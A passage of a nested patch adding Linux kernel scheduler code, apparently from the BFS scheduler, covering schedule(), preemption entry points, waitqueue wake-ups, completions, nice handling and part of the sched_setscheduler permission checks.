++	rq->rq_prio = p->prio;
++	if (p != rq->idle)
++		rq->rq_running = true;
++	else
++		rq->rq_running = false;
++}
++
++static void reset_rq_task(struct rq *rq, struct task_struct *p)
++{
++	rq->rq_policy = p->policy;
++	rq->rq_prio = p->prio;
++}
++
++/*
++ * schedule() is the main scheduler function.
++ *
++ * The main means of driving the scheduler and thus entering this function are:
++ *
++ *   1. Explicit blocking: mutex, semaphore, waitqueue, etc.
++ *
++ *   2. TIF_NEED_RESCHED flag is checked on interrupt and userspace return
++ *      paths. For example, see arch/x86/entry_64.S.
++ *
++ *      To drive preemption between tasks, the scheduler sets the flag in timer
++ *      interrupt handler scheduler_tick().
++ *
++ *   3. Wakeups don't really cause entry into schedule(). They add a
++ *      task to the run-queue and that's it.
++ *
++ *      Now, if the new task added to the run-queue preempts the current
++ *      task, then the wakeup sets TIF_NEED_RESCHED and schedule() gets
++ *      called on the nearest possible occasion:
++ *
++ *       - If the kernel is preemptible (CONFIG_PREEMPT=y):
++ *
++ *         - in syscall or exception context, at the next outmost
++ *           preempt_enable(). (this might be as soon as the wake_up()'s
++ *           spin_unlock()!)
++ *
++ *         - in IRQ context, return from interrupt-handler to
++ *           preemptible context
++ *
++ *       - If the kernel is not preemptible (CONFIG_PREEMPT is not set)
++ *         then at the next:
++ *
++ *          - cond_resched() call
++ *          - explicit schedule() call
++ *          - return from syscall or exception to user-space
++ *          - return from interrupt-handler to user-space
++ */
++asmlinkage void __sched schedule(void)
++{
++	struct task_struct *prev, *next, *idle;
++	unsigned long *switch_count;
++	bool deactivate;
++	struct rq *rq;
++	int cpu;
++
++need_resched:
++	preempt_disable();
++	cpu = smp_processor_id();
++	rq = cpu_rq(cpu);
++	rcu_note_context_switch(cpu);
++	prev = rq->curr;
++
++	deactivate = false;
++	schedule_debug(prev);
++
++	grq_lock_irq();
++
++	switch_count = &prev->nivcsw;
++	if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) {
++		if (unlikely(signal_pending_state(prev->state, prev))) {
++			prev->state = TASK_RUNNING;
++		} else {
++			deactivate = true;
++			/*
++			 * If a worker is going to sleep, notify and
++			 * ask workqueue whether it wants to wake up a
++			 * task to maintain concurrency.  If so, wake
++			 * up the task.
++			 */
++			if (prev->flags & PF_WQ_WORKER) {
++				struct task_struct *to_wakeup;
++
++				to_wakeup = wq_worker_sleeping(prev, cpu);
++				if (to_wakeup) {
++					/* This shouldn't happen, but does */
++					if (unlikely(to_wakeup == prev))
++						deactivate = false;
++					else
++						try_to_wake_up_local(to_wakeup);
++				}
++			}
++		}
++		switch_count = &prev->nvcsw;
++	}
++
++	/*
++	 * If we are going to sleep and we have plugged IO queued, make
++	 * sure to submit it to avoid deadlocks.
++	 */
++	if (unlikely(deactivate && blk_needs_flush_plug(prev))) {
++		grq_unlock_irq();
++		preempt_enable_no_resched();
++		blk_schedule_flush_plug(prev);
++		goto need_resched;
++	}
++
++	update_clocks(rq);
++	update_cpu_clock_switch(rq, prev);
++	if (rq->clock - rq->last_tick > HALF_JIFFY_NS)
++		rq->dither = false;
++	else
++		rq->dither = true;
++
++	clear_tsk_need_resched(prev);
++
++	idle = rq->idle;
++	if (idle != prev) {
++		/* Update all the information stored on struct rq */
++		prev->time_slice = rq->rq_time_slice;
++		prev->deadline = rq->rq_deadline;
++		check_deadline(prev);
++		prev->last_ran = rq->clock_task;
++
++		/* Task changed affinity off this CPU */
++		if (needs_other_cpu(prev, cpu)) {
++			if (!deactivate)
++				resched_suitable_idle(prev);
++		} else if (!deactivate) {
++			if (!queued_notrunning()) {
++				/*
++				* We now know prev is the only thing that is
++				* awaiting CPU so we can bypass rechecking for
++				* the earliest deadline task and just run it
++				* again.
++				*/
++				set_rq_task(rq, prev);
++				grq_unlock_irq();
++				goto rerun_prev_unlocked;
++			} else
++				swap_sticky(rq, cpu, prev);
++		}
++		return_task(prev, deactivate);
++	}
++
++	if (unlikely(!queued_notrunning())) {
++		/*
++		 * This CPU is now truly idle as opposed to when idle is
++		 * scheduled as a high priority task in its own right.
++		 */
++		next = idle;
++		schedstat_inc(rq, sched_goidle);
++		set_cpuidle_map(cpu);
++	} else {
++		next = earliest_deadline_task(rq, cpu, idle);
++		if (likely(next->prio != PRIO_LIMIT))
++			clear_cpuidle_map(cpu);
++		else
++			set_cpuidle_map(cpu);
++	}
++
++	if (likely(prev != next)) {
++		resched_suitable_idle(prev);
++		/*
++		 * Don't stick tasks when a real time task is going to run as
++		 * they may literally get stuck.
++		 */
++		if (rt_task(next))
++			unstick_task(rq, prev);
++		set_rq_task(rq, next);
++		grq.nr_switches++;
++		prev->on_cpu = false;
++		next->on_cpu = true;
++		rq->curr = next;
++		++*switch_count;
++
++		context_switch(rq, prev, next); /* unlocks the grq */
++		/*
++		 * The context switch have flipped the stack from under us
++		 * and restored the local variables which were saved when
++		 * this task called schedule() in the past. prev == current
++		 * is still correct, but it can be moved to another cpu/rq.
++		 */
++		cpu = smp_processor_id();
++		rq = cpu_rq(cpu);
++		idle = rq->idle;
++	} else
++		grq_unlock_irq();
++
++rerun_prev_unlocked:
++	sched_preempt_enable_no_resched();
++	if (unlikely(need_resched()))
++		goto need_resched;
++}
++EXPORT_SYMBOL(schedule);
++
++#ifdef CONFIG_RCU_USER_QS
++asmlinkage void __sched schedule_user(void)
++{
++	/*
++	 * If we come here after a random call to set_need_resched(),
++	 * or we have been woken up remotely but the IPI has not yet arrived,
++	 * we haven't yet exited the RCU idle mode. Do it here manually until
++	 * we find a better solution.
++	 */
++	user_exit();
++	schedule();
++	user_enter();
++}
++#endif
++
++/**
++ * schedule_preempt_disabled - called with preemption disabled
++ *
++ * Returns with preemption disabled. Note: preempt_count must be 1
++ */
++void __sched schedule_preempt_disabled(void)
++{
++	sched_preempt_enable_no_resched();
++	schedule();
++	preempt_disable();
++}
++
++#ifdef CONFIG_PREEMPT
++/*
++ * this is the entry point to schedule() from in-kernel preemption
++ * off of preempt_enable. Kernel preemptions off return from interrupt
++ * occur there and call schedule directly.
++ */
++asmlinkage void __sched notrace preempt_schedule(void)
++{
++	struct thread_info *ti = current_thread_info();
++
++	/*
++	 * If there is a non-zero preempt_count or interrupts are disabled,
++	 * we do not want to preempt the current task. Just return..
++	 */
++	if (likely(ti->preempt_count || irqs_disabled()))
++		return;
++
++	do {
++		add_preempt_count_notrace(PREEMPT_ACTIVE);
++		schedule();
++		sub_preempt_count_notrace(PREEMPT_ACTIVE);
++
++		/*
++		 * Check again in case we missed a preemption opportunity
++		 * between schedule and now.
++		 */
++		barrier();
++	} while (need_resched());
++}
++EXPORT_SYMBOL(preempt_schedule);
++
++/*
++ * this is the entry point to schedule() from kernel preemption
++ * off of irq context.
++ * Note, that this is called and return with irqs disabled. This will
++ * protect us against recursive calling from irq.
++ */
++asmlinkage void __sched preempt_schedule_irq(void)
++{
++	struct thread_info *ti = current_thread_info();
++	enum ctx_state prev_state;
++
++	/* Catch callers which need to be fixed */
++	BUG_ON(ti->preempt_count || !irqs_disabled());
++
++	prev_state = exception_enter();
++
++	do {
++		add_preempt_count(PREEMPT_ACTIVE);
++		local_irq_enable();
++		schedule();
++		local_irq_disable();
++		sub_preempt_count(PREEMPT_ACTIVE);
++
++		/*
++		 * Check again in case we missed a preemption opportunity
++		 * between schedule and now.
++		 */
++		barrier();
++	} while (need_resched());
++
++	exception_exit(prev_state);
++}
++
++#endif /* CONFIG_PREEMPT */
++
++int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
++			  void *key)
++{
++	return try_to_wake_up(curr->private, mode, wake_flags);
++}
++EXPORT_SYMBOL(default_wake_function);
++
++/*
++ * The core wakeup function.  Non-exclusive wakeups (nr_exclusive == 0) just
++ * wake everything up.  If it's an exclusive wakeup (nr_exclusive == small +ve
++ * number) then we wake all the non-exclusive tasks and one exclusive task.
++ *
++ * There are circumstances in which we can try to wake a task which has already
++ * started to run but is not in state TASK_RUNNING.  try_to_wake_up() returns
++ * zero in this (rare) case, and we handle it by continuing to scan the queue.
++ */
++static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
++			int nr_exclusive, int wake_flags, void *key)
++{
++	struct list_head *tmp, *next;
++
++	list_for_each_safe(tmp, next, &q->task_list) {
++		wait_queue_t *curr = list_entry(tmp, wait_queue_t, task_list);
++		unsigned int flags = curr->flags;
++
++		if (curr->func(curr, mode, wake_flags, key) &&
++				(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
++			break;
++	}
++}
++
++/**
++ * __wake_up - wake up threads blocked on a waitqueue.
++ * @q: the waitqueue
++ * @mode: which threads
++ * @nr_exclusive: how many wake-one or wake-many threads to wake up
++ * @key: is directly passed to the wakeup function
++ *
++ * It may be assumed that this function implies a write memory barrier before
++ * changing the task state if and only if any tasks are woken up.
++ */
++void __wake_up(wait_queue_head_t *q, unsigned int mode,
++			int nr_exclusive, void *key)
++{
++	unsigned long flags;
++
++	spin_lock_irqsave(&q->lock, flags);
++	__wake_up_common(q, mode, nr_exclusive, 0, key);
++	spin_unlock_irqrestore(&q->lock, flags);
++}
++EXPORT_SYMBOL(__wake_up);
++
++/*
++ * Same as __wake_up but called with the spinlock in wait_queue_head_t held.
++ */
++void __wake_up_locked(wait_queue_head_t *q, unsigned int mode, int nr)
++{
++	__wake_up_common(q, mode, nr, 0, NULL);
++}
++EXPORT_SYMBOL_GPL(__wake_up_locked);
++
++void __wake_up_locked_key(wait_queue_head_t *q, unsigned int mode, void *key)
++{
++	__wake_up_common(q, mode, 1, 0, key);
++}
++EXPORT_SYMBOL_GPL(__wake_up_locked_key);
++
++/**
++ * __wake_up_sync_key - wake up threads blocked on a waitqueue.
++ * @q: the waitqueue
++ * @mode: which threads
++ * @nr_exclusive: how many wake-one or wake-many threads to wake up
++ * @key: opaque value to be passed to wakeup targets
++ *
++ * The sync wakeup differs that the waker knows that it will schedule
++ * away soon, so while the target thread will be woken up, it will not
++ * be migrated to another CPU - ie. the two threads are 'synchronised'
++ * with each other. This can prevent needless bouncing between CPUs.
++ *
++ * On UP it can prevent extra preemption.
++ *
++ * It may be assumed that this function implies a write memory barrier before
++ * changing the task state if and only if any tasks are woken up.
++ */
++void __wake_up_sync_key(wait_queue_head_t *q, unsigned int mode,
++			int nr_exclusive, void *key)
++{
++	unsigned long flags;
++	int wake_flags = WF_SYNC;
++
++	if (unlikely(!q))
++		return;
++
++	if (unlikely(!nr_exclusive))
++		wake_flags = 0;
++
++	spin_lock_irqsave(&q->lock, flags);
++	__wake_up_common(q, mode, nr_exclusive, wake_flags, key);
++	spin_unlock_irqrestore(&q->lock, flags);
++}
++EXPORT_SYMBOL_GPL(__wake_up_sync_key);
++
++/**
++ * __wake_up_sync - wake up threads blocked on a waitqueue.
++ * @q: the waitqueue
++ * @mode: which threads
++ * @nr_exclusive: how many wake-one or wake-many threads to wake up
++ *
++ * The sync wakeup differs that the waker knows that it will schedule
++ * away soon, so while the target thread will be woken up, it will not
++ * be migrated to another CPU - ie. the two threads are 'synchronised'
++ * with each other. This can prevent needless bouncing between CPUs.
++ *
++ * On UP it can prevent extra preemption.
++ */
++void __wake_up_sync(wait_queue_head_t *q, unsigned int mode, int nr_exclusive)
++{
++	unsigned long flags;
++	int sync = 1;
++
++	if (unlikely(!q))
++		return;
++
++	if (unlikely(!nr_exclusive))
++		sync = 0;
++
++	spin_lock_irqsave(&q->lock, flags);
++	__wake_up_common(q, mode, nr_exclusive, sync, NULL);
++	spin_unlock_irqrestore(&q->lock, flags);
++}
++EXPORT_SYMBOL_GPL(__wake_up_sync);	/* For internal use only */
++
++/**
++ * complete: - signals a single thread waiting on this completion
++ * @x:  holds the state of this particular completion
++ *
++ * This will wake up a single thread waiting on this completion. Threads will be
++ * awakened in the same order in which they were queued.
++ *
++ * See also complete_all(), wait_for_completion() and related routines.
++ *
++ * It may be assumed that this function implies a write memory barrier before
++ * changing the task state if and only if any tasks are woken up.
++ */
++void complete(struct completion *x)
++{
++	unsigned long flags;
++
++	spin_lock_irqsave(&x->wait.lock, flags);
++	x->done++;
++	__wake_up_common(&x->wait, TASK_NORMAL, 1, 0, NULL);
++	spin_unlock_irqrestore(&x->wait.lock, flags);
++}
++EXPORT_SYMBOL(complete);
++
++/**
++ * complete_all: - signals all threads waiting on this completion
++ * @x:  holds the state of this particular completion
++ *
++ * This will wake up all threads waiting on this particular completion event.
++ *
++ * It may be assumed that this function implies a write memory barrier before
++ * changing the task state if and only if any tasks are woken up.
++ */
++void complete_all(struct completion *x)
++{
++	unsigned long flags;
++
++	spin_lock_irqsave(&x->wait.lock, flags);
++	x->done += UINT_MAX/2;
++	__wake_up_common(&x->wait, TASK_NORMAL, 0, 0, NULL);
++	spin_unlock_irqrestore(&x->wait.lock, flags);
++}
++EXPORT_SYMBOL(complete_all);
++
++static inline long __sched
++do_wait_for_common(struct completion *x,
++		   long (*action)(long), long timeout, int state)
++{
++	if (!x->done) {
++		DECLARE_WAITQUEUE(wait, current);
++
++		__add_wait_queue_tail_exclusive(&x->wait, &wait);
++		do {
++			if (signal_pending_state(state, current)) {
++				timeout = -ERESTARTSYS;
++				break;
++			}
++			__set_current_state(state);
++			spin_unlock_irq(&x->wait.lock);
++			timeout = action(timeout);
++			spin_lock_irq(&x->wait.lock);
++		} while (!x->done && timeout);
++		__remove_wait_queue(&x->wait, &wait);
++		if (!x->done)
++			return timeout;
++	}
++	x->done--;
++	return timeout ?: 1;
++}
++
++static inline long __sched
++__wait_for_common(struct completion *x,
++		  long (*action)(long), long timeout, int state)
++{
++	might_sleep();
++
++	spin_lock_irq(&x->wait.lock);
++	timeout = do_wait_for_common(x, action, timeout, state);
++	spin_unlock_irq(&x->wait.lock);
++	return timeout;
++}
++
++static long __sched
++wait_for_common(struct completion *x, long timeout, int state)
++{
++	return __wait_for_common(x, schedule_timeout, timeout, state);
++}
++
++static long __sched
++wait_for_common_io(struct completion *x, long timeout, int state)
++{
++	return __wait_for_common(x, io_schedule_timeout, timeout, state);
++}
++
++/**
++ * wait_for_completion: - waits for completion of a task
++ * @x:  holds the state of this particular completion
++ *
++ * This waits to be signaled for completion of a specific task. It is NOT
++ * interruptible and there is no timeout.
++ *
++ * See also similar routines (i.e. wait_for_completion_timeout()) with timeout
++ * and interrupt capability. Also see complete().
++ */
++void __sched wait_for_completion(struct completion *x)
++{
++	wait_for_common(x, MAX_SCHEDULE_TIMEOUT, TASK_UNINTERRUPTIBLE);
++}
++EXPORT_SYMBOL(wait_for_completion);
++
++/**
++ * wait_for_completion_timeout: - waits for completion of a task (w/timeout)
++ * @x:  holds the state of this particular completion
++ * @timeout:  timeout value in jiffies
++ *
++ * This waits for either a completion of a specific task to be signaled or for a
++ * specified timeout to expire. The timeout is in jiffies. It is not
++ * interruptible.
++ *
++ * The return value is 0 if timed out, and positive (at least 1, or number of
++ * jiffies left till timeout) if completed.
++ */
++unsigned long __sched
++wait_for_completion_timeout(struct completion *x, unsigned long timeout)
++{
++	return wait_for_common(x, timeout, TASK_UNINTERRUPTIBLE);
++}
++EXPORT_SYMBOL(wait_for_completion_timeout);
++
++ /**
++ * wait_for_completion_io: - waits for completion of a task
++ * @x:  holds the state of this particular completion
++ *
++ * This waits to be signaled for completion of a specific task. It is NOT
++ * interruptible and there is no timeout. The caller is accounted as waiting
++ * for IO.
++ */
++void __sched wait_for_completion_io(struct completion *x)
++{
++	wait_for_common_io(x, MAX_SCHEDULE_TIMEOUT, TASK_UNINTERRUPTIBLE);
++}
++EXPORT_SYMBOL(wait_for_completion_io);
++
++/**
++ * wait_for_completion_io_timeout: - waits for completion of a task (w/timeout)
++ * @x:  holds the state of this particular completion
++ * @timeout:  timeout value in jiffies
++ *
++ * This waits for either a completion of a specific task to be signaled or for a
++ * specified timeout to expire. The timeout is in jiffies. It is not
++ * interruptible. The caller is accounted as waiting for IO.
++ *
++ * The return value is 0 if timed out, and positive (at least 1, or number of
++ * jiffies left till timeout) if completed.
++ */
++unsigned long __sched
++wait_for_completion_io_timeout(struct completion *x, unsigned long timeout)
++{
++	return wait_for_common_io(x, timeout, TASK_UNINTERRUPTIBLE);
++}
++EXPORT_SYMBOL(wait_for_completion_io_timeout);
++
++/**
++ * wait_for_completion_interruptible: - waits for completion of a task (w/intr)
++ * @x:  holds the state of this particular completion
++ *
++ * This waits for completion of a specific task to be signaled. It is
++ * interruptible.
++ *
++ * The return value is -ERESTARTSYS if interrupted, 0 if completed.
++ */
++int __sched wait_for_completion_interruptible(struct completion *x)
++{
++	long t = wait_for_common(x, MAX_SCHEDULE_TIMEOUT, TASK_INTERRUPTIBLE);
++	if (t == -ERESTARTSYS)
++		return t;
++	return 0;
++}
++EXPORT_SYMBOL(wait_for_completion_interruptible);
++
++/**
++ * wait_for_completion_interruptible_timeout: - waits for completion (w/(to,intr))
++ * @x:  holds the state of this particular completion
++ * @timeout:  timeout value in jiffies
++ *
++ * This waits for either a completion of a specific task to be signaled or for a
++ * specified timeout to expire. It is interruptible. The timeout is in jiffies.
++ *
++ * The return value is -ERESTARTSYS if interrupted, 0 if timed out,
++ * positive (at least 1, or number of jiffies left till timeout) if completed.
++ */
++long __sched
++wait_for_completion_interruptible_timeout(struct completion *x,
++					  unsigned long timeout)
++{
++	return wait_for_common(x, timeout, TASK_INTERRUPTIBLE);
++}
++EXPORT_SYMBOL(wait_for_completion_interruptible_timeout);
++
++/**
++ * wait_for_completion_killable: - waits for completion of a task (killable)
++ * @x:  holds the state of this particular completion
++ *
++ * This waits to be signaled for completion of a specific task. It can be
++ * interrupted by a kill signal.
++ *
++ * The return value is -ERESTARTSYS if interrupted, 0 if timed out,
++ * positive (at least 1, or number of jiffies left till timeout) if completed.
++ */
++int __sched wait_for_completion_killable(struct completion *x)
++{
++	long t = wait_for_common(x, MAX_SCHEDULE_TIMEOUT, TASK_KILLABLE);
++	if (t == -ERESTARTSYS)
++		return t;
++	return 0;
++}
++EXPORT_SYMBOL(wait_for_completion_killable);
++
++/**
++ * wait_for_completion_killable_timeout: - waits for completion of a task (w/(to,killable))
++ * @x:  holds the state of this particular completion
++ * @timeout:  timeout value in jiffies
++ *
++ * This waits for either a completion of a specific task to be
++ * signaled or for a specified timeout to expire. It can be
++ * interrupted by a kill signal. The timeout is in jiffies.
++ */
++long __sched
++wait_for_completion_killable_timeout(struct completion *x,
++				     unsigned long timeout)
++{
++	return wait_for_common(x, timeout, TASK_KILLABLE);
++}
++EXPORT_SYMBOL(wait_for_completion_killable_timeout);
++
++/**
++ *	try_wait_for_completion - try to decrement a completion without blocking
++ *	@x:	completion structure
++ *
++ *	Returns: 0 if a decrement cannot be done without blocking
++ *		 1 if a decrement succeeded.
++ *
++ *	If a completion is being used as a counting completion,
++ *	attempt to decrement the counter without blocking. This
++ *	enables us to avoid waiting if the resource the completion
++ *	is protecting is not available.
++ */
++bool try_wait_for_completion(struct completion *x)
++{
++	unsigned long flags;
++	int ret = 1;
++
++	spin_lock_irqsave(&x->wait.lock, flags);
++	if (!x->done)
++		ret = 0;
++	else
++		x->done--;
++	spin_unlock_irqrestore(&x->wait.lock, flags);
++	return ret;
++}
++EXPORT_SYMBOL(try_wait_for_completion);
++
++/**
++ *	completion_done - Test to see if a completion has any waiters
++ *	@x:	completion structure
++ *
++ *	Returns: 0 if there are waiters (wait_for_completion() in progress)
++ *		 1 if there are no waiters.
++ *
++ */
++bool completion_done(struct completion *x)
++{
++	unsigned long flags;
++	int ret = 1;
++
++	spin_lock_irqsave(&x->wait.lock, flags);
++	if (!x->done)
++		ret = 0;
++	spin_unlock_irqrestore(&x->wait.lock, flags);
++	return ret;
++}
++EXPORT_SYMBOL(completion_done);
++
++static long __sched
++sleep_on_common(wait_queue_head_t *q, int state, long timeout)
++{
++	unsigned long flags;
++	wait_queue_t wait;
++
++	init_waitqueue_entry(&wait, current);
++
++	__set_current_state(state);
++
++	spin_lock_irqsave(&q->lock, flags);
++	__add_wait_queue(q, &wait);
++	spin_unlock(&q->lock);
++	timeout = schedule_timeout(timeout);
++	spin_lock_irq(&q->lock);
++	__remove_wait_queue(q, &wait);
++	spin_unlock_irqrestore(&q->lock, flags);
++
++	return timeout;
++}
++
++void __sched interruptible_sleep_on(wait_queue_head_t *q)
++{
++	sleep_on_common(q, TASK_INTERRUPTIBLE, MAX_SCHEDULE_TIMEOUT);
++}
++EXPORT_SYMBOL(interruptible_sleep_on);
++
++long __sched
++interruptible_sleep_on_timeout(wait_queue_head_t *q, long timeout)
++{
++	return sleep_on_common(q, TASK_INTERRUPTIBLE, timeout);
++}
++EXPORT_SYMBOL(interruptible_sleep_on_timeout);
++
++void __sched sleep_on(wait_queue_head_t *q)
++{
++	sleep_on_common(q, TASK_UNINTERRUPTIBLE, MAX_SCHEDULE_TIMEOUT);
++}
++EXPORT_SYMBOL(sleep_on);
++
++long __sched sleep_on_timeout(wait_queue_head_t *q, long timeout)
++{
++	return sleep_on_common(q, TASK_UNINTERRUPTIBLE, timeout);
++}
++EXPORT_SYMBOL(sleep_on_timeout);
++
++#ifdef CONFIG_RT_MUTEXES
++
++/*
++ * rt_mutex_setprio - set the current priority of a task
++ * @p: task
++ * @prio: prio value (kernel-internal form)
++ *
++ * This function changes the 'effective' priority of a task. It does
++ * not touch ->normal_prio like __setscheduler().
++ *
++ * Used by the rt_mutex code to implement priority inheritance logic.
++ */
++void rt_mutex_setprio(struct task_struct *p, int prio)
++{
++	unsigned long flags;
++	int queued, oldprio;
++	struct rq *rq;
++
++	BUG_ON(prio < 0 || prio > MAX_PRIO);
++
++	rq = task_grq_lock(p, &flags);
++
++	/*
++	 * Idle task boosting is a nono in general. There is one
++	 * exception, when PREEMPT_RT and NOHZ is active:
++	 *
++	 * The idle task calls get_next_timer_interrupt() and holds
++	 * the timer wheel base->lock on the CPU and another CPU wants
++	 * to access the timer (probably to cancel it). We can safely
++	 * ignore the boosting request, as the idle CPU runs this code
++	 * with interrupts disabled and will complete the lock
++	 * protected section without being interrupted. So there is no
++	 * real need to boost.
++	 */
++	if (unlikely(p == rq->idle)) {
++		WARN_ON(p != rq->curr);
++		WARN_ON(p->pi_blocked_on);
++		goto out_unlock;
++	}
++
++	trace_sched_pi_setprio(p, prio);
++	oldprio = p->prio;
++	queued = task_queued(p);
++	if (queued)
++		dequeue_task(p);
++	p->prio = prio;
++	if (task_running(p) && prio > oldprio)
++		resched_task(p);
++	if (queued) {
++		enqueue_task(p);
++		try_preempt(p, rq);
++	}
++
++out_unlock:
++	task_grq_unlock(&flags);
++}
++
++#endif
++
++/*
++ * Adjust the deadline for when the priority is to change, before it's
++ * changed.
++ */
++static inline void adjust_deadline(struct task_struct *p, int new_prio)
++{
++	p->deadline += static_deadline_diff(new_prio) - task_deadline_diff(p);
++}
++
++void set_user_nice(struct task_struct *p, long nice)
++{
++	int queued, new_static, old_static;
++	unsigned long flags;
++	struct rq *rq;
++
++	if (TASK_NICE(p) == nice || nice < -20 || nice > 19)
++		return;
++	new_static = NICE_TO_PRIO(nice);
++	/*
++	 * We have to be careful, if called from sys_setpriority(),
++	 * the task might be in the middle of scheduling on another CPU.
++	 */
++	rq = time_task_grq_lock(p, &flags);
++	/*
++	 * The RT priorities are set via sched_setscheduler(), but we still
++	 * allow the 'normal' nice value to be set - but as expected
++	 * it wont have any effect on scheduling until the task is
++	 * not SCHED_NORMAL/SCHED_BATCH:
++	 */
++	if (has_rt_policy(p)) {
++		p->static_prio = new_static;
++		goto out_unlock;
++	}
++	queued = task_queued(p);
++	if (queued)
++		dequeue_task(p);
++
++	adjust_deadline(p, new_static);
++	old_static = p->static_prio;
++	p->static_prio = new_static;
++	p->prio = effective_prio(p);
++
++	if (queued) {
++		enqueue_task(p);
++		if (new_static < old_static)
++			try_preempt(p, rq);
++	} else if (task_running(p)) {
++		reset_rq_task(rq, p);
++		if (old_static < new_static)
++			resched_task(p);
++	}
++out_unlock:
++	task_grq_unlock(&flags);
++}
++EXPORT_SYMBOL(set_user_nice);
++
++/*
++ * can_nice - check if a task can reduce its nice value
++ * @p: task
++ * @nice: nice value
++ */
++int can_nice(const struct task_struct *p, const int nice)
++{
++	/* convert nice value [19,-20] to rlimit style value [1,40] */
++	int nice_rlim = 20 - nice;
++
++	return (nice_rlim <= task_rlimit(p, RLIMIT_NICE) ||
++		capable(CAP_SYS_NICE));
++}
++
++#ifdef __ARCH_WANT_SYS_NICE
++
++/*
++ * sys_nice - change the priority of the current process.
++ * @increment: priority increment
++ *
++ * sys_setpriority is a more generic, but much slower function that
++ * does similar things.
++ */
++SYSCALL_DEFINE1(nice, int, increment)
++{
++	long nice, retval;
++
++	/*
++	 * Setpriority might change our priority at the same moment.
++	 * We don't have to worry. Conceptually one call occurs first
++	 * and we have a single winner.
++	 */
++	if (increment < -40)
++		increment = -40;
++	if (increment > 40)
++		increment = 40;
++
++	nice = TASK_NICE(current) + increment;
++	if (nice < -20)
++		nice = -20;
++	if (nice > 19)
++		nice = 19;
++
++	if (increment < 0 && !can_nice(current, nice))
++		return -EPERM;
++
++	retval = security_task_setnice(current, nice);
++	if (retval)
++		return retval;
++
++	set_user_nice(current, nice);
++	return 0;
++}
++
++#endif
++
++/**
++ * task_prio - return the priority value of a given task.
++ * @p: the task in question.
++ *
++ * This is the priority value as seen by users in /proc.
++ * RT tasks are offset by -100. Normal tasks are centered around 1, value goes
++ * from 0 (SCHED_ISO) up to 82 (nice +19 SCHED_IDLEPRIO).
++ */
++int task_prio(const struct task_struct *p)
++{
++	int delta, prio = p->prio - MAX_RT_PRIO;
++
++	/* rt tasks and iso tasks */
++	if (prio <= 0)
++		goto out;
++
++	/* Convert to ms to avoid overflows */
++	delta = NS_TO_MS(p->deadline - grq.niffies);
++	delta = delta * 40 / ms_longest_deadline_diff();
++	if (delta > 0 && delta <= 80)
++		prio += delta;
++	if (idleprio_task(p))
++		prio += 40;
++out:
++	return prio;
++}
++
++/**
++ * task_nice - return the nice value of a given task.
++ * @p: the task in question.
++ */
++int task_nice(const struct task_struct *p)
++{
++	return TASK_NICE(p);
++}
++EXPORT_SYMBOL_GPL(task_nice);
++
++/**
++ * idle_cpu - is a given cpu idle currently?
++ * @cpu: the processor in question.
++ */
++int idle_cpu(int cpu)
++{
++	return cpu_curr(cpu) == cpu_rq(cpu)->idle;
++}
++
++/**
++ * idle_task - return the idle task for a given cpu.
++ * @cpu: the processor in question.
++ */
++struct task_struct *idle_task(int cpu)
++{
++	return cpu_rq(cpu)->idle;
++}
++
++/**
++ * find_process_by_pid - find a process with a matching PID value.
++ * @pid: the pid in question.
++ */
++static inline struct task_struct *find_process_by_pid(pid_t pid)
++{
++	return pid ? find_task_by_vpid(pid) : current;
++}
++
++/* Actually do priority change: must hold grq lock. */
++static void
++__setscheduler(struct task_struct *p, struct rq *rq, int policy, int prio)
++{
++	int oldrtprio, oldprio;
++
++	p->policy = policy;
++	oldrtprio = p->rt_priority;
++	p->rt_priority = prio;
++	p->normal_prio = normal_prio(p);
++	oldprio = p->prio;
++	/* we are holding p->pi_lock already */
++	p->prio = rt_mutex_getprio(p);
++	if (task_running(p)) {
++		reset_rq_task(rq, p);
++		/* Resched only if we might now be preempted */
++		if (p->prio > oldprio || p->rt_priority > oldrtprio)
++			resched_task(p);
++	}
++}
++
++/*
++ * check the target process has a UID that matches the current process's
++ */
++static bool check_same_owner(struct task_struct *p)
++{
++	const struct cred *cred = current_cred(), *pcred;
++	bool match;
++
++	rcu_read_lock();
++	pcred = __task_cred(p);
++	match = (uid_eq(cred->euid, pcred->euid) ||
++		 uid_eq(cred->euid, pcred->uid));
++	rcu_read_unlock();
++	return match;
++}
++
++static int __sched_setscheduler(struct task_struct *p, int policy,
++				const struct sched_param *param, bool user)
++{
++	struct sched_param zero_param = { .sched_priority = 0 };
++	int queued, retval, oldpolicy = -1;
++	unsigned long flags, rlim_rtprio = 0;
++	int reset_on_fork;
++	struct rq *rq;
++
++	/* may grab non-irq protected spin_locks */
++	BUG_ON(in_interrupt());
++
++	if (is_rt_policy(policy) && !capable(CAP_SYS_NICE)) {
++		unsigned long lflags;
++
++		if (!lock_task_sighand(p, &lflags))
++			return -ESRCH;
++		rlim_rtprio = task_rlimit(p, RLIMIT_RTPRIO);
++		unlock_task_sighand(p, &lflags);
++		if (rlim_rtprio)
++			goto recheck;
++		/*
++		 * If the caller requested an RT policy without having the
++		 * necessary rights, we downgrade the policy to SCHED_ISO.
++		 * We also set the parameter to zero to pass the checks.
++		 */
++		policy = SCHED_ISO;
++		param = &zero_param;
++	}
++recheck:
++	/* double check policy once rq lock held */
++	if (policy < 0) {
++		reset_on_fork = p->sched_reset_on_fork;
++		policy = oldpolicy = p->policy;
++	} else {
++		reset_on_fork = !!(policy & SCHED_RESET_ON_FORK);
++		policy &= ~SCHED_RESET_ON_FORK;
++
++		if (!SCHED_RANGE(policy))
++			return -EINVAL;
++	}
++
++	/*
++	 * Valid priorities for SCHED_FIFO and SCHED_RR are
++	 * 1..MAX_USER_RT_PRIO-1, valid priority for SCHED_NORMAL and
++	 * SCHED_BATCH is 0.
++	 */
++	if (param->sched_priority < 0 ||
++	    (p->mm && param->sched_priority > MAX_USER_RT_PRIO - 1) ||
++	    (!p->mm && param->sched_priority > MAX_RT_PRIO - 1))
++		return -EINVAL;
++	if (is_rt_policy(policy) != (param->sched_priority != 0))
++		return -EINVAL;
++
++	/*
++	 * Allow unprivileged RT tasks to decrease priority:
++	 */
++	if (user && !capable(CAP_SYS_NICE)) {
++		if (is_rt_policy(policy)) {
++			unsigned long rlim_rtprio =
++					task_rlimit(p, RLIMIT_RTPRIO);
++
++			/* can't set/change the rt policy */
++			if (policy != p->policy && !rlim_rtprio)
++				return -EPERM;
++
++			/* can't increase priority */
++			if (param->sched_priority > p->rt_priority &&
++			    param->sched_priority > rlim_rtprio)
++				return -EPERM;
